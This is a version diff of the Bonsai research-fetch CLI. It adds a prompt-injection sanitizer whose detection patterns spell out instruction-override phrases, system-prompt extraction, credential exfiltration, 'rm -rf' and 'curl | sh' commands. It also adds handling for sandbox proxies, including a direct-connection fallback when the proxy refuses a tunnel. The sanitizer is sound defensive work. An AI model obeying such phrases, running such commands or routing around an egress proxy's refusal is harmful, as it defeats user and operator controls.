@taurgis/bonsai 3.0.0 → 3.0.2

package/dist/commands/fetch.d.ts

@@ -38,6 +38,7 @@ export default class FetchCommand extends BaseCommand<typeof FetchCommand> {
     run(): Promise<unknown>;
     private fetchSingleTarget;
 }
+export declare function describeError(err: unknown): string;
 export declare function fetchFailureGuidance(message: string, url: string): {
     suggestions: string[];
     ref?: string;

package/dist/commands/fetch.js

@@ -9,7 +9,8 @@ import { loadSummaryLevel } from '../lib/config/index.js';
 import { evaluateFreshness, checkMaxAgeExpired, durationFlagError, } from '../lib/research/freshness.js';
 import { revalidateCache, createArtifactFromFetch } from '../lib/research/revalidate.js';
 import { fetchStaticHtml, fetchText } from '../lib/research/fetcher.js';
-import { fetchRenderedHtml } from '../lib/research/browser.js';
+import { PROXY_TUNNEL_REJECTION_PATTERN } from '../lib/research/proxy.js';
+import { fetchRenderedHtml, SANDBOX_EGRESS_ERROR_MARKER } from '../lib/research/browser.js';
 import { capturePage } from '../lib/research/capture.js';
 import { persistSectionArtifacts } from '../lib/research/docs/section-artifacts.js';
 import { applyAutoTags } from '../lib/research/keywords.js';
@@ -194,8 +195,14 @@ export default class FetchCommand extends BaseCommand {
     // failure — validation errors (bad flags/URL) exit before the try — so the contract's runtime code
     // (1) applies. Suggestions render on stderr for humans only; under --json the envelope carries just
     // the message (toErrorJson), so machine output is unchanged.
+    //
+    // Uses `describeError` (below) rather than `err.message` alone: Node/undici's fetch wraps
+    // transport failures (DNS, refused connections, a proxy that won't tunnel to the host) in a
+    // generic "fetch failed" TypeError with the real reason nested in `.cause`, so reading only the
+    // top message would surface a content-free "fetch failed" for exactly the failures a user most
+    // needs a hint for.
     emitFetchError(err, url) {
-        const message = err instanceof Error ? err.message : String(err);
+        const message = describeError(err);
         const guidance = fetchFailureGuidance(message, url);
         this.error(message, {
             exit: 1,
@@ -320,6 +327,25 @@ export default class FetchCommand extends BaseCommand {
         return resultData;
     }
 }
+// How many `.cause` levels to walk. Real undici/Node transport errors nest at most 1-2 deep;
+// the cap exists so a self-referential or cyclic `.cause` chain (Error.cause is an arbitrary,
+// unvalidated property — nothing prevents `e.cause = e`, whether from a bug in this codebase or
+// a dependency) can't hang the process, rather than being a limit expected to matter in practice.
+const MAX_CAUSE_DEPTH = 10;
+// Walks an Error's `.cause` chain and joins every message, deepest last. Node/undici's fetch
+// throws a generic `TypeError: fetch failed` for transport-level failures, with the actionable
+// detail (e.g. a proxy's tunnel rejection) nested one or two `.cause` levels down.
+export function describeError(err) {
+    if (!(err instanceof Error))
+        return String(err);
+    const parts = [err.message];
+    let cause = err.cause;
+    for (let depth = 0; depth < MAX_CAUSE_DEPTH && cause instanceof Error; depth++) {
+        parts.push(cause.message);
+        cause = cause.cause;
+    }
+    return parts.join(': ');
+}
 // Maps a runtime fetch failure to recovery steps keyed off its message. Returns undefined for
 // unrecognized failures, which then surface with their original message and no extra hint. The
 // patterns match the thrown text in fetcher.ts/browser.ts; keep them in sync if those messages
@@ -361,6 +387,38 @@ export function fetchFailureGuidance(message, url) {
             suggestions: ['Check the hostname is spelled correctly and resolves on a public network.'],
         };
     }
+    // Chrome's own network stack hit a proxy-enforced sandbox egress block (browser.ts's
+    // describeNavigationFailure already explains the cause and the fix); only a workaround and the
+    // docs ref are added here.
+    if (message.includes(SANDBOX_EGRESS_ERROR_MARKER)) {
+        return { suggestions: [importHint], ref };
+    }
+    // A configured proxy (HTTPS_PROXY/HTTP_PROXY) refused to tunnel to this host — distinct from
+    // the destination's own 401/403 above, which is the site itself rejecting the request. Shared
+    // with fetcher.ts's retry-fallback check so the two stay in sync by construction.
+    if (PROXY_TUNNEL_REJECTION_PATTERN.test(message)) {
+        return {
+            suggestions: [
+                "The configured proxy (HTTPS_PROXY/HTTP_PROXY) won't reach this host. Check its allowlist, or add the host to NO_PROXY to bypass the proxy for it.",
+                importHint,
+            ],
+            ref,
+        };
+    }
+    // The connection failed before any HTTP response was received — network-down, DNS, TLS, or a
+    // proxy issue not specifically matched above. Node/undici's fetch reports all of these as a
+    // generic "fetch failed" TypeError with no further suffix; the negative lookahead keeps this
+    // from also matching assertOk's "Fetch failed with status NNN ..." (a real HTTP response was
+    // received in that case, so it isn't a transport failure at all).
+    if (/^fetch failed\b(?!\s+with status)/i.test(message)) {
+        return {
+            suggestions: [
+                'The connection failed before a response was received. Check network connectivity and any HTTPS_PROXY/HTTP_PROXY/NO_PROXY settings.',
+                importHint,
+            ],
+            ref,
+        };
+    }
     // A hostname that only resolves to a private/local IP at request time (literal private addresses
     // are rejected earlier with exit 2). Blocked to prevent SSRF; only public hosts can be fetched.
     if (/blocked local or private target/.test(message)) {

package/dist/commands/import.js

@@ -11,6 +11,7 @@ import { writeArtifactSecurely } from '../lib/research/secure-write.js';
 import { loadSummaryLevel } from '../lib/config/index.js';
 import { durationFlagError, getPolicy } from '../lib/research/freshness.js';
 import { buildCompressed } from '../lib/research/compress.js';
+import { sanitizePromptInjection } from '../lib/research/prompt-injection.js';
 import { applyAutoTags } from '../lib/research/keywords.js';
 import { estimateTokens } from '../lib/research/token-estimate.js';
 export default class ResearchImport extends BaseCommand {
@@ -268,11 +269,11 @@ export default class ResearchImport extends BaseCommand {
         const { freshWindowMs } = getPolicy(tier, ttl);
         const staleAfterTime = new Date(currentTime.getTime() + freshWindowMs);
         const inputFormat = this.flags['input-format'];
-        const detailed = rawInput;
+        const detailed = sanitizePromptInjection(rawInput);
         // A caller-supplied compressed input is trusted as-is; only a detailed import is condensed here,
         // and it shares the same buildCompressed policy (structural pass + extractive fallback) as fetch.
         const compressed = inputFormat === 'detailed'
-            ? buildCompressed(rawInput, loadSummaryLevel(this.config.configDir, process.cwd()))
+            ? buildCompressed(detailed, loadSummaryLevel(this.config.configDir, process.cwd()))
             : rawInput;
         const contentHash = createHash('sha256').update(detailed).digest('hex');
         const metadata = {

package/dist/lib/research/browser.d.ts

@@ -24,6 +24,7 @@ export declare class CdpClient {
     close(): void;
 }
 export declare function findChromePath(): string;
+export declare function buildChromeArgs(): string[];
 export declare function waitForLoad(client: CdpClient, sessionId: string, timeoutMs: number, settleMs?: number): Promise<void>;
 export declare const BLOCKED_ASSET_URLS: string[];
 export interface CdpPage {
@@ -75,4 +76,17 @@ export declare class ResponseCapture {
     /** Resolves with the response body text once a matching response finishes, or null on timeout. */
     waitFor(key: string, timeoutMs: number): Promise<string | null>;
 }
+export declare const SANDBOX_EGRESS_ERROR_MARKER = "sandboxed execution environment";
+/**
+ * Builds the error thrown for a failed Page.navigate. When a proxy is configured (proxy.ts's
+ * signal for "this is a sandboxed execution environment") and Chrome's failure code indicates the
+ * proxy itself declined the tunnel, the destination isn't reachable because of the sandbox's
+ * network egress gateway rejecting it, not a real navigation problem — so the message says that
+ * explicitly, rather than surfacing a bare Chrome net-error code that looks like a generic
+ * connectivity failure. It deliberately doesn't claim the fix is "ask an admin to allowlist this
+ * host": the gateway that rejects the CONNECT tunnel can disagree with an org's configured domain
+ * policy (a different layer may not reach it), so the safer, always-correct advice is to verify
+ * against the environment directly and fall back to a manual fetch if it's still unreachable.
+ */
+export declare function describeNavigationFailure(errorText: string, url: string): Error;
 export declare function fetchRenderedHtml(url: string, options?: BrowserFetchOptions): Promise<BrowserFetchResult>;

package/dist/lib/research/browser.js

@@ -1,7 +1,9 @@
 import { spawn } from 'node:child_process';
 import { existsSync } from 'node:fs';
 import { execSync } from 'node:child_process';
+import { join } from 'node:path';
 import { checkDnsSafety } from './fetcher.js';
+import { getChromeProxyArgs, getChromeSpkiArgs, getChromeTlsCompatibilityArgs, isProxyConfigured, } from './proxy.js';
 import { normalizeUrl } from './url.js';
 export class CdpClient {
     ws;
@@ -64,6 +66,13 @@ export function findChromePath() {
         return process.env.CHROME_PATH;
     }
     const paths = [];
+    // Claude Code's remote sandbox (and other Playwright-provisioned environments) pre-installs a
+    // Chromium build under PLAYWRIGHT_BROWSERS_PATH rather than a system package manager location,
+    // with a `chromium` symlink at its root pointing at the actual browser binary. It's headless-Chrome
+    // capable (needed for the CDP `--headless=new` flag this module uses), so it's checked first.
+    if (process.env.PLAYWRIGHT_BROWSERS_PATH) {
+        paths.push(join(process.env.PLAYWRIGHT_BROWSERS_PATH, 'chromium'));
+    }
     if (process.platform === 'darwin') {
         paths.push('/Applications/Google Chrome.app/Contents/MacOS/Google Chrome', '/Applications/Chromium.app/Contents/MacOS/Chromium');
     }
@@ -93,8 +102,10 @@ export function findChromePath() {
     throw new Error('No Chrome or Chromium browser found for browser-based extraction. Install Chrome/Chromium or ' +
         'set CHROME_PATH to the browser executable. Static (non-rendered) fetching does not require a browser.');
 }
-async function spawnChrome(chromePath) {
-    const chromeProcess = spawn(chromePath, [
+// Split out from spawnChrome so the exact CLI args (including the proxy flags) are unit-testable
+// without spawning a real browser process.
+export function buildChromeArgs() {
+    return [
         '--headless=new',
         '--remote-debugging-port=0',
         '--disable-gpu',
@@ -102,7 +113,22 @@ async function spawnChrome(chromePath) {
         '--disable-setuid-sandbox',
         '--disable-extensions',
         '--disable-dev-shm-usage',
-    ]);
+        // CDP navigation uses Chrome's own network stack, not Node's fetch/undici, so a sandbox
+        // proxy detected via *_PROXY env vars must be passed to Chrome separately (see proxy.ts).
+        ...getChromeProxyArgs(),
+        // The sandbox proxy above re-terminates TLS with its own CA, which Chrome's Chrome-Root-Store
+        // verifier doesn't trust by default (unlike Node/curl/Python, which read NODE_EXTRA_CA_CERTS/
+        // SSL_CERT_FILE/CURL_CA_BUNDLE). Pin trust to that specific CA rather than disabling
+        // verification wholesale (see proxy.ts's getChromeSpkiArgs).
+        ...getChromeSpkiArgs(),
+        // Separately from cert trust: some sandbox proxies' TLS terminator never responds to Chrome's
+        // default TLS 1.3 ClientHello and the connection is eventually reset (see proxy.ts's
+        // getChromeTlsCompatibilityArgs for how this was diagnosed).
+        ...getChromeTlsCompatibilityArgs(),
+    ];
+}
+async function spawnChrome(chromePath) {
+    const chromeProcess = spawn(chromePath, buildChromeArgs());
     try {
         const wsUrl = await new Promise((resolve, reject) => {
             let output = '';
@@ -294,6 +320,47 @@ export class ResponseCapture {
         });
     }
 }
+// Chrome has its own network stack (see getChromeProxyArgs), so when a sandbox's egress-enforcing
+// proxy declines to tunnel to a destination, Chrome surfaces one of these net-error codes instead
+// of the HTTP-level rejection undici sees in fetcher.ts (PROXY_TUNNEL_REJECTION_PATTERN). Matched
+// against Page.navigate's `errorText`, which arrives as e.g. "net::ERR_TUNNEL_CONNECTION_FAILED".
+const PROXY_BLOCKED_CHROME_NET_ERRORS = [
+    'ERR_TUNNEL_CONNECTION_FAILED',
+    'ERR_PROXY_CONNECTION_FAILED',
+    'ERR_SOCKS_CONNECTION_FAILED',
+];
+// Shared substring fetch.ts's fetchFailureGuidance matches on to attach suggestions/ref to this
+// error, without duplicating the message text it needs to match against.
+export const SANDBOX_EGRESS_ERROR_MARKER = 'sandboxed execution environment';
+/**
+ * Builds the error thrown for a failed Page.navigate. When a proxy is configured (proxy.ts's
+ * signal for "this is a sandboxed execution environment") and Chrome's failure code indicates the
+ * proxy itself declined the tunnel, the destination isn't reachable because of the sandbox's
+ * network egress gateway rejecting it, not a real navigation problem — so the message says that
+ * explicitly, rather than surfacing a bare Chrome net-error code that looks like a generic
+ * connectivity failure. It deliberately doesn't claim the fix is "ask an admin to allowlist this
+ * host": the gateway that rejects the CONNECT tunnel can disagree with an org's configured domain
+ * policy (a different layer may not reach it), so the safer, always-correct advice is to verify
+ * against the environment directly and fall back to a manual fetch if it's still unreachable.
+ */
+export function describeNavigationFailure(errorText, url) {
+    const isProxyBlock = isProxyConfigured() && PROXY_BLOCKED_CHROME_NET_ERRORS.some((code) => errorText.includes(code));
+    if (!isProxyBlock) {
+        return new Error(`Navigation failed: ${errorText}`);
+    }
+    let host = url;
+    try {
+        host = new URL(url).hostname;
+    }
+    catch { }
+    return new Error(`Chrome could not reach "${host}" (${errorText}). This looks like a ${SANDBOX_EGRESS_ERROR_MARKER} ` +
+        `(e.g. Claude Code's remote sandbox) whose outbound network gateway rejected the connection to ` +
+        `this host, via the configured proxy (HTTPS_PROXY/HTTP_PROXY). This can happen even when the ` +
+        `environment's domain policy looks unrestricted, since the gateway enforcing egress can be a ` +
+        `separate layer from that policy. It can't be worked around from inside the sandbox by retrying ` +
+        `or bypassing the proxy: confirm "${host}" is reachable from this environment (e.g. test the ` +
+        `proxy directly), or fetch the page from a network with access and import it instead.`);
+}
 // Chrome can emit these on first navigation in headless CI when the cert verifier reloads mid-run.
 const TRANSIENT_NAV_ERROR_CODES = ['ERR_CERT_VERIFIER_CHANGED'];
 function isTransientBrowserNavigationError(err) {
@@ -330,7 +397,7 @@ async function fetchRenderedHtmlOnce(url, options = {}) {
         // A network-level failure (DNS, refused/closed connection, TLS) never fires a load event, so
         // fail fast here instead of waiting out the full navigation timeout on a dead page.
         if (nav.errorText) {
-            throw new Error(`Navigation failed: ${nav.errorText}`);
+            throw describeNavigationFailure(nav.errorText, currentUrl);
         }
         await waitForLoad(page.client, page.sessionId, timeout, options.settleMs ?? 1000);
         const mainDoc = nav.frameId ? documentResponses.get(nav.frameId) : undefined;

package/dist/lib/research/docs/markdown-source.js

@@ -1,4 +1,5 @@
 import { dropEmptyLinks, htmlToMarkdown } from '../markdown.js';
+import { sanitizePromptInjection } from '../prompt-injection.js';
 // Parses a leading YAML frontmatter block (--- ... ---). Only flat scalar keys are read; nested
 // structures are ignored (we only need title/description). The block is stripped from the body.
 export function parseFrontmatter(md) {
@@ -183,7 +184,7 @@ export function extractFromSource(md, sourceUrl) {
         ? cleanKumaScript(stripMdnHiddenSamples(body))
         : body;
     const tablesAsMarkdown = convertHtmlTables(sanitizeSourceMarkdown(deMacroed));
-    const cleaned = dropEmptySections(dropEmptyLinks(tablesAsMarkdown)).trim();
+    const cleaned = sanitizePromptInjection(dropEmptySections(dropEmptyLinks(tablesAsMarkdown))).trim();
     const notes = [`captured from public Markdown/MDX source: ${sourceUrl}`];
     return {
         title: titleFrom(frontmatter, cleaned),

package/dist/lib/research/extract.js

@@ -4,6 +4,7 @@ import { htmlToMarkdown } from './markdown.js';
 import { normalizeCodeBlocks } from './docs/code-blocks.js';
 import { cleanDocsChrome } from './docs/clean-dom.js';
 import { analyzeMarkdownQuality } from './docs/quality-gates.js';
+import { sanitizePromptInjection } from './prompt-injection.js';
 function resolveRelativeLinks(document, finalUrl) {
     const base = new URL(finalUrl);
     const links = document.querySelectorAll('a');
@@ -69,7 +70,7 @@ export function extractHtmlContent(html, finalUrl) {
         throw new Error('Content extraction failed: The target page could not be parsed by the readability engine. ' +
             'Hint: The "import" command lets you import pre-cleaned, agent-supplied research notes directly.');
     }
-    const detailedMarkdown = htmlToMarkdown(article.content);
+    const detailedMarkdown = sanitizePromptInjection(htmlToMarkdown(article.content));
     const textLength = article.textContent ? article.textContent.trim().length : 0;
     const { confidence, notes } = determineConfidence(textLength);
     const quality = analyzeMarkdownQuality(detailedMarkdown, article.title || '');

package/dist/lib/research/fetcher.js

@@ -1,6 +1,61 @@
 import { lookup } from 'node:dns/promises';
 import { isIP } from 'node:net';
+import { fetch as undiciFetch } from 'undici';
 import { isSafeIp, normalizeUrl } from './url.js';
+import { getProxyDispatcher, isProxyConfigured, PROXY_TUNNEL_REJECTION_PATTERN } from './proxy.js';
+// Runs one fetch attempt with its own fresh AbortController/timeout, so that when `doFetch` makes
+// a second attempt (the proxy fallback below) it gets the full timeout budget rather than
+// whatever was left over from the first attempt's signal. Loosely typed at this one boundary
+// because it bridges two structurally-similar-but-nominally-distinct fetch implementations
+// (Node's global fetch and the separate `undici` package's own fetch/RequestInit/Response).
+async function fetchWithTimeout(fetchFn, url, init, timeoutMs) {
+    const controller = new AbortController();
+    const id = setTimeout(() => controller.abort(), timeoutMs);
+    try {
+        return (await fetchFn(url, { ...init, signal: controller.signal }));
+    }
+    finally {
+        clearTimeout(id);
+    }
+}
+// True when `err` is a transport failure specifically caused by the proxy declining to tunnel to
+// the target host (e.g. an allowlist-only sandbox proxy), as opposed to any other pre-response
+// failure (DNS, refused connection, a genuinely unreachable destination). Only this class of
+// failure is worth retrying without the proxy — retrying on any transport TypeError would also
+// re-attempt destinations that are down regardless of the proxy, doubling their latency for no
+// benefit.
+function isProxyTunnelRejection(err) {
+    let current = err;
+    while (current instanceof Error) {
+        if (PROXY_TUNNEL_REJECTION_PATTERN.test(current.message))
+            return true;
+        current = current.cause;
+    }
+    return false;
+}
+// Node's global fetch cannot be handed a Dispatcher from the separate `undici` package (their
+// internal request-handler interfaces don't line up across versions), so routing through a
+// sandbox-detected proxy requires switching to undici's own fetch for that one request. The
+// unproxied path keeps using the global fetch, matching existing tests that stub `globalThis.fetch`.
+//
+// A configured proxy isn't a guarantee the proxy can actually reach a given host (many sandbox
+// proxies only allowlist specific destinations), so a proxy-tunnel rejection falls back to a
+// direct connection rather than treating "proxy is configured" as "proxy or nothing." The
+// fallback gets its own fresh timeout (via fetchWithTimeout) rather than inheriting the proxied
+// attempt's spent budget.
+async function doFetch(url, init, timeoutMs) {
+    const dispatcher = getProxyDispatcher();
+    if (!dispatcher)
+        return fetchWithTimeout(fetch, url, init, timeoutMs);
+    try {
+        return await fetchWithTimeout(undiciFetch, url, { ...init, dispatcher }, timeoutMs);
+    }
+    catch (err) {
+        if (!isProxyTunnelRejection(err))
+            throw err;
+        return fetchWithTimeout(fetch, url, init, timeoutMs);
+    }
+}
 export function looksLikeHtml(text) {
     const trimmed = text.trimStart().toLowerCase();
     return (trimmed.startsWith('<!doctype html') ||
@@ -19,17 +74,26 @@ export async function checkDnsSafety(hostname) {
         }
         return;
     }
+    let addresses;
     try {
-        const addresses = await lookup(hostToResolve, { all: true });
-        for (const addr of addresses) {
-            if (!isSafeIp(addr.address)) {
-                throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
-            }
-        }
+        addresses = await lookup(hostToResolve, { all: true });
     }
     catch (err) {
+        // A sandbox that requires a proxy for HTTP egress may also block raw DNS queries (port 53)
+        // without blocking name resolution done through the proxy itself — so a failed *local*
+        // lookup isn't necessarily a dead end when a proxy is available to fall back on. Only skip
+        // the safety guarantee in that specific case; whenever local resolution succeeds (the common
+        // case, proxy or not), the resolved address is still validated below regardless of proxy
+        // configuration, so a hostname that resolves to a private/internal IP is still caught.
+        if (isProxyConfigured())
+            return;
         throw new Error(`DNS resolution failed for hostname "${hostname}": ${err.message}`);
     }
+    for (const addr of addresses) {
+        if (!isSafeIp(addr.address)) {
+            throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
+        }
+    }
 }
 async function readBodyWithLimit(body, limit) {
     if (!body) {
@@ -123,32 +187,20 @@ async function fetchWithRedirects(url, options, process) {
     while (true) {
         const parsedUrl = new URL(currentUrl);
         await checkDnsSafety(parsedUrl.hostname);
-        const controller = new AbortController();
-        const id = setTimeout(() => controller.abort(), timeout);
-        try {
-            const res = await fetch(currentUrl, {
-                method: 'GET',
-                headers: initialHeaders,
-                redirect: 'manual',
-                signal: controller.signal,
-            });
-            if ([301, 302, 303, 307, 308].includes(res.status)) {
-                redirectCount++;
-                if (redirectCount > maxRedirects) {
-                    throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
-                }
-                const location = res.headers.get('location');
-                if (!location) {
-                    throw new Error(`Redirect response status ${res.status} missing Location header.`);
-                }
-                currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
-                continue;
+        const res = await doFetch(currentUrl, { method: 'GET', headers: initialHeaders, redirect: 'manual' }, timeout);
+        if ([301, 302, 303, 307, 308].includes(res.status)) {
+            redirectCount++;
+            if (redirectCount > maxRedirects) {
+                throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
             }
-            return await process(res, limit, currentUrl);
-        }
-        finally {
-            clearTimeout(id);
+            const location = res.headers.get('location');
+            if (!location) {
+                throw new Error(`Redirect response status ${res.status} missing Location header.`);
+            }
+            currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
+            continue;
         }
+        return await process(res, limit, currentUrl);
     }
 }
 export async function fetchStaticHtml(url, options = {}) {
@@ -171,22 +223,14 @@ export async function postJson(url, body, headers = {}, options = {}) {
     const limit = options.bodyLimitBytes ?? 2 * 1024 * 1024;
     const target = normalizeUrl(url);
     await checkDnsSafety(new URL(target).hostname);
-    const controller = new AbortController();
-    const id = setTimeout(() => controller.abort(), timeout);
-    try {
-        const res = await fetch(target, {
-            method: 'POST',
-            headers: { 'content-type': 'application/json', ...headers },
-            body: JSON.stringify(body),
-            redirect: 'error',
-            signal: controller.signal,
-        });
-        if (!res.ok)
-            throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
-        const bytes = await readBodyWithLimit(res.body, limit);
-        return new TextDecoder().decode(bytes);
-    }
-    finally {
-        clearTimeout(id);
-    }
+    const res = await doFetch(target, {
+        method: 'POST',
+        headers: { 'content-type': 'application/json', ...headers },
+        body: JSON.stringify(body),
+        redirect: 'error',
+    }, timeout);
+    if (!res.ok)
+        throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
+    const bytes = await readBodyWithLimit(res.body, limit);
+    return new TextDecoder().decode(bytes);
 }

package/dist/lib/research/prompt-injection.d.ts

@@ -0,0 +1 @@
+export declare function sanitizePromptInjection(markdown: string): string;

package/dist/lib/research/prompt-injection.js

@@ -0,0 +1,149 @@
+import { Buffer } from 'node:buffer';
+const REDACTION = '[Removed potentially unsafe agent instruction]';
+const ZERO_WIDTH = /[\u200b-\u200f\ufeff]/g;
+const HTML_COMMENT = /<!--[\s\S]*?-->/g;
+const BASE64_TOKEN = /(?<![A-Za-z0-9+/_-])(?:[A-Za-z0-9+/_-]{16,}={0,2})(?![A-Za-z0-9+/_-])/g;
+const HEX_TOKEN = /(?<![a-f0-9])(?:0x)?[a-f0-9]{24,}(?![a-f0-9])/gi;
+const QUOTED_SPAN = /(`[^`\n]+`|"[^"\n]+"|'[^'\n]+')/g;
+const TYPOGLYCEMIA_TARGETS = [
+    'ignore',
+    'disregard',
+    'forget',
+    'override',
+    'previous',
+    'instructions',
+    'instruction',
+    'directions',
+    'prompts',
+    'system',
+    'developer',
+    'agent',
+    'prompt',
+    'message',
+    'reveal',
+    'print',
+    'send',
+    'secrets',
+    'tokens',
+    'credentials',
+    'delete',
+    'repository',
+    'workspace',
+];
+const HARMFUL_INSTRUCTION_PATTERNS = [
+    /(^|\b(?:please|assistant|system|user|agent)\s+)ignore\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)disregard\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)forget\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)override\s+(the\s+)?(system|developer|agent)\s+(prompt|instructions?|message)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)you\s+are\s+now\s+(in\s+)?(developer|admin|root|system)\s+mode\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)reveal\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)print\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)(exfiltrate|steal|leak)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?|private\s+data)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)send\s+(me\s+|all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)(upload|post|fetch|curl)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)delete\s+(all\s+)?(files?|the\s+repository|the\s+workspace|the\s+home\s+directory)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)run\s+.*\b(rm\s+-rf|curl\s+.*\|\s*(sh|bash)|sudo)\b/i,
+];
+function normalizeForDetection(text) {
+    return text
+        .normalize('NFKC')
+        .replace(ZERO_WIDTH, '')
+        .replace(/[^\p{L}\p{N}\s|/.-]+/gu, ' ')
+        .replace(/\s+/g, ' ')
+        .trim()
+        .split(' ')
+        .map(normalizeTypoglycemia)
+        .join(' ');
+}
+function normalizeTypoglycemia(word) {
+    const lower = word.toLowerCase();
+    return TYPOGLYCEMIA_TARGETS.find((target) => isTypoglycemiaMatch(lower, target)) ?? word;
+}
+function isTypoglycemiaMatch(word, target) {
+    if (word.length !== target.length || word.length < 4)
+        return false;
+    if (word[0] !== target[0] || word.at(-1) !== target.at(-1))
+        return false;
+    return sortLetters(word.slice(1, -1)) === sortLetters(target.slice(1, -1));
+}
+function sortLetters(value) {
+    return [...value].sort().join('');
+}
+function detectionCandidates(text) {
+    return [text, ...decodeBase64Tokens(text), ...decodeHexTokens(text)].map(normalizeForDetection);
+}
+function decodeBase64Tokens(text) {
+    return [...text.matchAll(BASE64_TOKEN)]
+        .map((match) => decodeBase64(match[0]))
+        .filter((decoded) => Boolean(decoded));
+}
+function decodeBase64(token) {
+    try {
+        const normalized = token.replace(/-/g, '+').replace(/_/g, '/');
+        const decoded = Buffer.from(normalized, 'base64').toString('utf8');
+        return isReadableDecodedText(decoded) ? decoded : null;
+    }
+    catch {
+        return null;
+    }
+}
+function decodeHexTokens(text) {
+    return [...text.matchAll(HEX_TOKEN)]
+        .map((match) => decodeHex(match[0]))
+        .filter((decoded) => Boolean(decoded));
+}
+function decodeHex(token) {
+    const hex = token.startsWith('0x') ? token.slice(2) : token;
+    if (hex.length % 2 !== 0)
+        return null;
+    try {
+        const decoded = Buffer.from(hex, 'hex').toString('utf8');
+        return isReadableDecodedText(decoded) ? decoded : null;
+    }
+    catch {
+        return null;
+    }
+}
+function isReadableDecodedText(text) {
+    if (!/[a-z]{3}/i.test(text))
+        return false;
+    const printable = [...text].filter((char) => /[\t\n\r -~]/.test(char)).length;
+    return printable / Math.max(text.length, 1) > 0.85;
+}
+function isUnsafeAgentInstruction(text) {
+    return detectionCandidates(text).some((candidate) => HARMFUL_INSTRUCTION_PATTERNS.some((pattern) => pattern.test(candidate)));
+}
+function redactBlock(block) {
+    const withSafeSpans = redactUnsafeSpans(block);
+    return isUnsafeAgentInstruction(withSafeSpans) ? REDACTION : withSafeSpans;
+}
+function redactUnsafeSpans(block) {
+    return block
+        .replace(BASE64_TOKEN, (token) => redactTokenIfUnsafe(token, decodeBase64(token)))
+        .replace(HEX_TOKEN, (token) => redactTokenIfUnsafe(token, decodeHex(token)))
+        .replace(QUOTED_SPAN, (span) => isUnsafeAgentInstruction(stripQuotes(span)) ? REDACTION : span);
+}
+function redactTokenIfUnsafe(token, decoded) {
+    return decoded && isUnsafeAgentInstruction(decoded) ? REDACTION : token;
+}
+function stripQuotes(span) {
+    if (span.startsWith('`') || span.startsWith('"') || span.startsWith("'")) {
+        return span.slice(1, -1);
+    }
+    return span;
+}
+export function sanitizePromptInjection(markdown) {
+    return markdown
+        .replace(HTML_COMMENT, (comment) => redactBlock(comment))
+        .split(/(\n{2,})/)
+        .map((block) => {
+        if (/^\n+$/.test(block))
+            return block;
+        const lineRedacted = block
+            .split('\n')
+            .map((line) => redactBlock(line))
+            .join('\n');
+        return lineRedacted === block ? redactBlock(block) : lineRedacted;
+    })
+        .join('');
+}

package/dist/lib/research/proxy.d.ts

@@ -0,0 +1,71 @@
+import { type Dispatcher } from 'undici';
+export declare const HTTPS_PROXY_ENV_VARS: string[];
+export declare const HTTP_PROXY_ENV_VARS: string[];
+export declare const NO_PROXY_ENV_VARS: string[];
+export declare const ALL_PROXY_ENV_VARS: string[];
+export declare const PROXY_TUNNEL_REJECTION_PATTERN: RegExp;
+/**
+ * Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
+ * connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
+ * advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
+ * sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
+ */
+export declare function isProxyConfigured(): boolean;
+/**
+ * An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
+ * is configured so callers fall back to normal direct networking. The dispatcher is expensive
+ * enough to be worth reusing across requests, but undici's own agent captures its proxy targets
+ * once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
+ * relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
+ * to whatever was configured on the first call. The discarded dispatcher is closed (not just
+ * dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
+ */
+export declare function getProxyDispatcher(): Dispatcher | undefined;
+/**
+ * Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
+ * empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
+ * never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
+ *
+ * Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
+ * blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
+ * HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
+ * route all its traffic (including plain-http sub-resources) through whichever var happened to
+ * be set, silently disagreeing with how fetch() routes the same traffic.
+ */
+export declare function getChromeProxyArgs(): string[];
+/**
+ * Caps Chrome's TLS version at 1.2 for connections made through a detected sandbox proxy, or []
+ * when no proxy is configured. Some sandbox proxies' TLS-terminating layer never responds to
